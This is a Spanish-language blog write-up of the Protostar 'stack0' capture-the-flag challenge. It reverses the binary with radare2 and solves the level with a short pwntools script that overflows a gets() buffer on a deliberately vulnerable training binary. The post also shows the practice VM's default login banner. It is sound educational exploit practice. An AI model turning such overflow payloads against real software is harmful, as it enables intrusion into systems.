Pages

domingo, 29 de julio de 2018

Protostar CTF - stack0

Para la resolución de los distintos desafíos presentados en la máquina Protostar no haremos uso del código fuente disponible en la web oficial. Nuestro objetivo, como ya hicimos con la máquina Nebula, es presentar al lector un entorno lo más realista posible y desarrollar las habilidades que un bug hunter o reverse enginner necesita conocer en la práctica diaria.

Hay dos herramientas que constituirán nuestro principal arsenal a la hora de resolver los retos. Por un lado el famoso framework de reversing radare2 (y su conjunto de utilidades integradas), por otro lado contaremos con la librería pwntools para el desarrollo de exploits en Python, lo que facilitará y agilizará mucho nuestra tarea. Ambas herramientas son muy conocidas dentro del mundo de los CTF, por lo que el lector hará bien en estudiarlas en profundidad y estará listo para salir a darlo todo en la competición.

Realizaremos las fases de reversing y exploiting en nuestra propia Linux box actualizada y con todas las herramientas recién instaladas, para ello obtendremos una copia de todos los binarios mediante el comando scp del paquete SSH:

dpc@kernelinside:~/protostar$ scp -r protostar@192.168.56.101:/opt/protostar/bin/ .


    PPPP  RRRR   OOO  TTTTT  OOO   SSSS TTTTT   A   RRRR  
    P   P R   R O   O   T   O   O S       T    A A  R   R 
    PPPP  RRRR  O   O   T   O   O  SSS    T   AAAAA RRRR  
    P     R  R  O   O   T   O   O     S   T   A   A R  R  
    P     R   R  OOO    T    OOO  SSSS    T   A   A R   R 

          http://exploit-exercises.com/protostar                                                 

Welcome to Protostar. To log in, you may use the user / user account.
When you need to use the root account, you can login as root / godmode.

For level descriptions / further help, please see the above url.

protostar@192.168.56.101's password: 
final0                                            100%   54KB  29.8MB/s   00:00    
final1                                            100%   55KB  34.6MB/s   00:00    
final2                                            100%   78KB  40.8MB/s   00:00    
format0                                           100%   22KB  18.9MB/s   00:00    
format1                                           100%   22KB  30.2MB/s   00:00    
format2                                           100%   23KB  32.6MB/s   00:00    
format3                                           100%   23KB  30.7MB/s   00:00    
format4                                           100%   23KB  30.1MB/s   00:00    
heap0                                             100%   23KB  28.9MB/s   00:00    
heap1                                             100%   23KB  25.7MB/s   00:00    
heap2                                             100%   54KB  34.2MB/s   00:00    
heap3                                             100%   53KB  39.2MB/s   00:00    
net0                                              100%   54KB  35.0MB/s   00:00    
net1                                              100%   54KB  38.6MB/s   00:00    
net2                                              100%   54KB  38.2MB/s   00:00    
net3                                              100%   56KB  40.8MB/s   00:00    
net4                                              100%   53KB  38.2MB/s   00:00    
stack0                                            100%   22KB  31.9MB/s   00:00    
stack1                                            100%   23KB  31.6MB/s   00:00    
stack2                                            100%   23KB  29.3MB/s   00:00    
stack3                                            100%   23KB  32.7MB/s   00:00    
stack4                                            100%   22KB  27.5MB/s   00:00    
stack5                                            100%   22KB  32.4MB/s   00:00    
stack6                                            100%   23KB  32.1MB/s   00:00    
stack7                                            100%   23KB  33.0MB/s   00:00    

Ahora cambiamos el usuario y grupo de todos los ejecutables a root y también activamos el bit suid:

dpc@kernelinside:~/protostar/bin$ sudo chown root:root *
dpc@kernelinside:~/protostar/bin$ sudo chmod u+s *

Por último desactivaremos ASLR (mismas condiciones que las planteadas en la máquina Protostar) mediante:

dpc@kernelinside:~$ sudo sysctl kernel.randomize_va_space=0
kernel.randomize_va_space = 0
dpc@kernelinside:~$ cat /proc/sys/kernel/randomize_va_space 
0

Ya podemos comenzar a trabajar en cada reto en un entorno de desarrollo más cómodo e igual de realista. Hagamos honor al título de esta entrada y comencemos por ./stack0.

dpc@kernelinside:~/protostar/bin$ ./stack0
test
Try again?

Parece que ./stack0 recibe una cadena a través de stdin y luego imprime el mensaje de chico malo (bad boy en la jerga). Lanzamos r2 en busca de más información:

dpc@kernelinside:~/protostar/bin$ r2 ./stack0
[0x08048340]> aas
[0x08048340]> iI
arch     x86
binsz    22412
bintype  elf
bits     32
canary   false
class    ELF32
crypto   false
endian   little
havecode true
intrp    /lib/ld-linux.so.2
lang     c
linenum  true
lsyms    true
machine  Intel 80386
maxopsz  16
minopsz  1
nx       false
os       linux
pcalign  0
pic      false
relocs   true
relro    no
rpath    NONE
static   false
stripped false
subsys   linux
va       true

En todos los binarios vulnerables de la máquina Protostar se dan las siguientes condiciones:

canary   false
nx       false
pic      false
relro    no
aslr     false

Es decir, todas las protecciones anti-overflow se encuentran desactivadas. Los organizadores lo han hecho intencionadamente para que el lector aprenda las bases de esta clase de vulnerabilidades y pueda practicar el desarrollo de exploits comenzando por los casos más sencillos. Para el estudio de protecciones y técnicas de exploiting más avanzadas, exploit-exercises.com cuenta con la máquina Fusion, cuyos retos también resolveremos aquí y que serán de interés a los estudiantes más adelantados.

Seguimos:

[0x08048340]> iz
000 0x00000500 0x08048500  40  41 (.rodata) ascii you have changed the 'modified' variable
001 0x00000529 0x08048529  10  11 (.rodata) ascii Try again?

Aquí tenemos los strings good boy y bad boy respectivamente.

[0x08048340]> ii
[Imports]
   1 0x080482fc    WEAK  NOTYPE __gmon_start__
   2 0x0804830c  GLOBAL    FUNC gets
   3 0x0804831c  GLOBAL    FUNC __libc_start_main
   4 0x0804832c  GLOBAL    FUNC puts

El comando ii muestra las funciones importadas por el binario, nada fuera de lo normal:

[0x08048340]> afl
0x08048000   23 748  -> 749  segment.LOAD0
0x08048114   19 472          segment.INTERP
0x080482ec    1 12           fcn.080482ec
0x080482fc    1 6            loc.imp.__gmon_start
0x0804830c    1 6            sym.imp.gets
0x0804831c    1 6            sym.imp.__libc_start_main
0x0804832c    1 6            sym.imp.puts
0x08048340    1 33           sym._start
0x08048370    6 85           sym.__do_global_dtors_aux
0x080483d0    4 35           sym.frame_dummy
0x080483f4    4 65           main
0x08048440    1 5            sym.__libc_csu_fini
0x08048450    4 90           sym.__libc_csu_init
0x080484aa    1 4            sym.__i686.get_pc_thunk.bx
0x080484b0    4 42           sym.__do_global_ctors_aux
0x080484dc    1 28           sym._fini
0x080484f8    6 65           obj._fp_hw

Entre las funciones locales solo main() parece de interés. Procedemos con la fase de reversing:

[0x080483f4]> e asm.bytes=false
[0x080483f4]> s main
[0x080483f4]> pdf
/ (fcn) main 65
|   main ();
|           ; var int local_1ch @ esp+0x1c
|           ; var int local_5ch @ esp+0x5c
|           ; DATA XREF from sym._start (0x8048357)
|           0x080483f4      push ebp
|           0x080483f5      mov ebp, esp
|           0x080483f7      and esp, 0xfffffff0
|           0x080483fa      sub esp, 0x60                              ; '`'
|           0x080483fd      mov dword [local_5ch], 0
|           0x08048405      lea eax, [local_1ch]                       ; 0x1c ; 28
|           0x08048409      mov dword [esp], eax
|           0x0804840c      call sym.imp.gets                          ; char *gets(char *s)

Aquí la variable local local_5ch se establece a 0 y luego se llama a gets(), que almacenará los datos leidos desde stdin en el buffer local_1_ch. Es una buena constumbre renombrar las variables que vamos identificando para facilitar la comprensión de los listados de código:

[0x080483f4]> afvn local_5ch canary
[0x080483f4]> afvn local_1ch buffer
[0x080483f4]> pdf
...
...
|           0x08048411      mov eax, dword [canary]                       ; [0x5c:4]=-1 ; '\' ; 92
|           0x08048415      test eax, eax
|       ,=< 0x08048417      je 0x8048427
|       |   0x08048419      mov dword [esp], str.you_have_changed_the__modified__variable ; [0x8048500:4]=0x20756f79 ; "you have changed the 'modified' variable"
|       |   0x08048420      call sym.imp.puts                          ; int puts(const char *s)
|      ,==< 0x08048425      jmp 0x8048433

Aquí se comprueba si la recién renombrada variable canary es igual a 0, en caso afirmativo se muestra el mensaje de chico bueno, en caso contrario seguiría así:

|      |`-> 0x08048427      mov dword [esp], str.Try_again             ; [0x8048529:4]=0x20797254 ; "Try again?"
|      |    0x0804842e      call sym.imp.puts                          ; int puts(const char *s)
|      |    ; CODE XREF from main (0x8048425)
|      `--> 0x08048433      leave
\           0x08048434      ret

La vulnerabilidad salta a la vista, gets() no imponen ningún límite de tamaño en los introducidos por el usuario. Como la variable canary es contigua en memoria a buffer, si los datos recibidos por gets() desbordan la capacidad de buffer entonces sobreescribirán el canary cambiando su valor actual. Calcular la capacidad de buffer es realmente sencillo:

[0x080483f4]> ? 0x5c - 0x1c
hex     0x40
int32   64

Con lo cual, cualquier payload superior a 64 bytes sobreescribirá el canary y redirigirá el flujo del programa hacia la zona de chico bueno. La construcción de un exploit es casi trivial:

from pwn import *
context(arch="i386", os="linux")
context.binary="/home/dpc/protostar/bin/stack0"

padding = "A"*64
canary  = 0xabad1dea

def exploit():
    payload = padding + p32(canary)
    p = process(context.binary.path)
    p.sendline(payload)
    print(p.recv())

if __name__ == "__main__":
    exploit()

La documentación de pwntools es extensa y contiene infinidad de ejemplos. Sugerimos al lector su estudio ya que aquí no nos detendremos demasiado en analizar línea por línea el significado de cada operación.

La estructura es sencilla: establecemos el contexto de la máquina a atacar y la ruta del binario vulnerable, luego abrimos el proceso, enviamos directamente el payload y leemos el resultado:

dpc@kernelinside:~/protostar/bin$ python exp_stack0.py 
[*] '/home/dpc/protostar/bin/stack0'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
[+] Starting local process '/home/dpc/protostar/bin/stack0': pid 1577
[*] Process '/home/dpc/protostar/bin/stack0' stopped with exit code 41 (pid 1577)
you have changed the 'modified' variable

Pwned!

No hay comentarios:

Publicar un comentario

Protostar CTF - stack5

En ./stack5 continuamos con la dinámica de los dos últimos retos: dpc@kernelinside:~/protostar/bin$ ./stack5 test dpc@kernelinside:~/p...